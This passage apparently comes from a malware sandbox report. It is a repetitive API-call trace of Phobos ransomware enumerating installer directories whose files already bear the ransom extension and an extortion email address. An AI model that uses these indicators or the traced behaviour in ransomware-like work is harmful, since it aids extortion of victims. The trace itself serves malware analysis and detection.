dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0131.957] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0131.957] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0131.957] FindClose (in: hFindFile=0x739128 | out: hFindFile=0x739128) returned 1 [0131.958] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0131.958] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1028", cAlternateFileName="")) returned 1 [0131.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.080] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.080] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf4c310, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf4c310, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf98766, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.080] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfe4caa, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.080] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.081] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.081] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.081] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.081] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1029", cAlternateFileName="")) returned 1 [0132.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.082] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.082] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf98766, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf98766, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfbea32, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.082] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfbea32, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfbea32, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.082] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.082] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.082] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.083] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.083] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1030", cAlternateFileName="")) returned 1 [0132.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0132.084] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.084] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfe4caa, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfe4caa, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.084] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.084] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.084] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.084] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0132.085] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.085] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1031", cAlternateFileName="")) returned 1 [0132.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7392e8 [0132.086] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.086] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.086] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed220f6c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.086] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.086] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.086] FindClose (in: hFindFile=0x7392e8 | out: hFindFile=0x7392e8) returned 1 [0132.087] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.087] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1032", cAlternateFileName="")) returned 1 [0132.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0132.088] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.088] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda06bab, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda06bab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda2ce12, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.088] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed220f6c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed220f6c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.088] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.089] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.089] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0132.089] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.089] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1033", cAlternateFileName="")) returned 1 [0132.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.090] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.090] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed45d258, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.090] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x0, 